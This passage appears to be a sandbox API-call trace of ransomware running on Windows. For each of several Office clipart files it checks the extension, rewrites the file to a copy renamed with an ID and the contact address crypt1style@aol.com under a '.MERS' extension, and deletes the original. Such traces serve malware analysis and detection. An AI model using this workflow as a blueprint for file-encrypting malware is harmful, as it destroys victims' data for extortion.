lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.326] lstrlenW (lpString=".bz2") returned 4 [0271.326] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.326] lstrlenW (lpString=".7z") returned 3 [0271.326] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.326] lstrlenW (lpString=".dbf") returned 4 [0271.327] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.327] lstrlenW (lpString=".1cd") returned 4 [0271.327] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 63 [0271.327] lstrlenW (lpString=".jpg") returned 4 [0271.327] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.327] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.327] lstrlenW (lpString="BD19828_.WMF") returned 12 [0271.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.345] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=8772) returned 1 [0271.345] CloseHandle (hObject=0x3c8) returned 1 [0271.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0271.376] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0271.378] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.378] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0271.380] GetLastError () returned 0x0 [0271.380] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x2244, lpOverlapped=0x0) returned 1 [0271.480] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0271.481] ReadFile (in: hFile=0x3b4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.481] WriteFile (in: hFile=0x3d0, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.481] SetEndOfFile (hFile=0x3d0) returned 1 [0271.481] CloseHandle (hObject=0x3d0) returned 1 [0271.481] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.481] SetEndOfFile (hFile=0x3b4) returned 1 [0271.483] CloseHandle (hObject=0x3b4) returned 1 [0271.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.483] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0271.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.484] lstrlenW (lpString=".doc") returned 4 [0271.484] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.484] lstrlenW (lpString=".docx") returned 5 [0271.484] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.484] lstrlenW (lpString=".pdf") returned 4 [0271.484] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.484] lstrlenW (lpString=".xls") returned 4 [0271.484] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.484] lstrlenW (lpString=".xlsx") returned 5 [0271.484] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.484] lstrlenW (lpString=".ppt") returned 4 [0271.484] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.484] lstrlenW (lpString=".zip") returned 4 [0271.484] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.484] lstrlenW (lpString=".rar") returned 4 [0271.484] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.484] lstrlenW (lpString=".bz2") returned 4 [0271.484] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.484] lstrlenW (lpString=".7z") returned 3 [0271.484] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.484] lstrlenW (lpString=".dbf") returned 4 [0271.484] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.484] lstrlenW (lpString=".1cd") returned 4 [0271.484] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.484] lstrlenW (lpString=".jpg") returned 4 [0271.484] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.485] lstrlenW (lpString=".doc") returned 4 [0271.485] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.485] lstrlenW (lpString=".docx") returned 5 [0271.485] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.485] lstrlenW (lpString=".pdf") returned 4 [0271.485] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.485] lstrlenW (lpString=".xls") returned 4 [0271.485] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.485] lstrlenW (lpString=".xlsx") returned 5 [0271.485] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.485] lstrlenW (lpString=".ppt") returned 4 [0271.485] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.485] lstrlenW (lpString=".zip") returned 4 [0271.485] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.485] lstrlenW (lpString=".rar") returned 4 [0271.485] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.485] lstrlenW (lpString=".bz2") returned 4 [0271.485] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.485] lstrlenW (lpString=".7z") returned 3 [0271.485] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.485] lstrlenW (lpString=".dbf") returned 4 [0271.485] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.485] lstrlenW (lpString=".1cd") returned 4 [0271.485] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0271.485] lstrlenW (lpString=".jpg") returned 4 [0271.485] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.513] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.515] lstrlenW (lpString="BL00012_.WMF") returned 12 [0271.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.516] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=9818) returned 1 [0271.516] CloseHandle (hObject=0x388) returned 1 [0271.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 0x20 [0271.516] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.516] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.516] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0271.516] GetLastError () returned 0x0 [0271.516] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x265a, lpOverlapped=0x0) returned 1 [0271.798] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x2660, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x2660, lpOverlapped=0x0) returned 1 [0271.799] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.799] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.799] SetEndOfFile (hFile=0x3c4) returned 1 [0271.799] CloseHandle (hObject=0x3c4) returned 1 [0271.799] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.799] SetEndOfFile (hFile=0x388) returned 1 [0271.801] CloseHandle (hObject=0x388) returned 1 [0271.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00012_.wmf")) returned 1 [0271.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.830] lstrlenW (lpString=".doc") returned 4 [0271.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.830] lstrlenW (lpString=".docx") returned 5 [0271.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.830] lstrlenW (lpString=".pdf") returned 4 [0271.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.830] lstrlenW (lpString=".xls") returned 4 [0271.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.830] lstrlenW (lpString=".xlsx") returned 5 [0271.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.830] lstrlenW (lpString=".ppt") returned 4 [0271.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.830] lstrlenW (lpString=".zip") returned 4 [0271.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.830] lstrlenW (lpString=".rar") returned 4 [0271.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.831] lstrlenW (lpString=".bz2") returned 4 [0271.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.831] lstrlenW (lpString=".7z") returned 3 [0271.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.831] lstrlenW (lpString=".dbf") returned 4 [0271.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.831] lstrlenW (lpString=".1cd") returned 4 [0271.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.831] lstrlenW (lpString=".jpg") returned 4 [0271.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.831] lstrlenW (lpString=".doc") returned 4 [0271.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.831] lstrlenW (lpString=".docx") returned 5 [0271.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.831] lstrlenW (lpString=".pdf") returned 4 [0271.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.831] lstrlenW (lpString=".xls") returned 4 [0271.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.831] lstrlenW (lpString=".xlsx") returned 5 [0271.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.831] lstrlenW (lpString=".ppt") returned 4 [0271.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.832] lstrlenW (lpString=".zip") returned 4 [0271.832] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.832] lstrlenW (lpString=".rar") returned 4 [0271.832] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.832] lstrlenW (lpString=".bz2") returned 4 [0271.832] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.832] lstrlenW (lpString=".7z") returned 3 [0271.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.832] lstrlenW (lpString=".dbf") returned 4 [0271.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.832] lstrlenW (lpString=".1cd") returned 4 [0271.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00012_.WMF") returned 63 [0271.832] lstrlenW (lpString=".jpg") returned 4 [0271.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.832] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.832] lstrlenW (lpString="BL00130_.WMF") returned 12 [0271.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0271.833] GetFileSizeEx (in: hFile=0x284, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=1464) returned 1 [0271.833] CloseHandle (hObject=0x284) returned 1 [0271.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 0x20 [0271.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x284 [0271.833] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.833] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0271.833] GetLastError () returned 0x0 [0271.833] ReadFile (in: hFile=0x284, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x5b8, lpOverlapped=0x0) returned 1 [0271.923] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0271.924] ReadFile (in: hFile=0x284, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.924] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.924] SetEndOfFile (hFile=0x3e8) returned 1 [0271.924] CloseHandle (hObject=0x3e8) returned 1 [0271.924] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.924] SetEndOfFile (hFile=0x284) returned 1 [0271.926] CloseHandle (hObject=0x284) returned 1 [0271.926] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00130_.wmf")) returned 1 [0271.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.977] lstrlenW (lpString=".doc") returned 4 [0271.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.977] lstrlenW (lpString=".docx") returned 5 [0271.977] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.977] lstrlenW (lpString=".pdf") returned 4 [0271.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.977] lstrlenW (lpString=".xls") returned 4 [0271.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.977] lstrlenW (lpString=".xlsx") returned 5 [0271.977] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.977] lstrlenW (lpString=".ppt") returned 4 [0271.977] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.977] lstrlenW (lpString=".zip") returned 4 [0271.977] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.977] lstrlenW (lpString=".rar") returned 4 [0271.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.977] lstrlenW (lpString=".bz2") returned 4 [0271.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.977] lstrlenW (lpString=".7z") returned 3 [0271.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.977] lstrlenW (lpString=".dbf") returned 4 [0271.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.977] lstrlenW (lpString=".1cd") returned 4 [0271.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.978] lstrlenW (lpString=".jpg") returned 4 [0271.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.978] lstrlenW (lpString=".doc") returned 4 [0271.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.978] lstrlenW (lpString=".docx") returned 5 [0271.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.978] lstrlenW (lpString=".pdf") returned 4 [0271.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.978] lstrlenW (lpString=".xls") returned 4 [0271.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.978] lstrlenW (lpString=".xlsx") returned 5 [0271.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.978] lstrlenW (lpString=".ppt") returned 4 [0271.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.978] lstrlenW (lpString=".zip") returned 4 [0271.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.978] lstrlenW (lpString=".rar") returned 4 [0271.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.978] lstrlenW (lpString=".bz2") returned 4 [0271.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.978] lstrlenW (lpString=".7z") returned 3 [0271.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.978] lstrlenW (lpString=".dbf") returned 4 [0271.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00130_.WMF") returned 63 [0271.978] lstrlenW (lpString=".1cd") returned 4 [0271.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 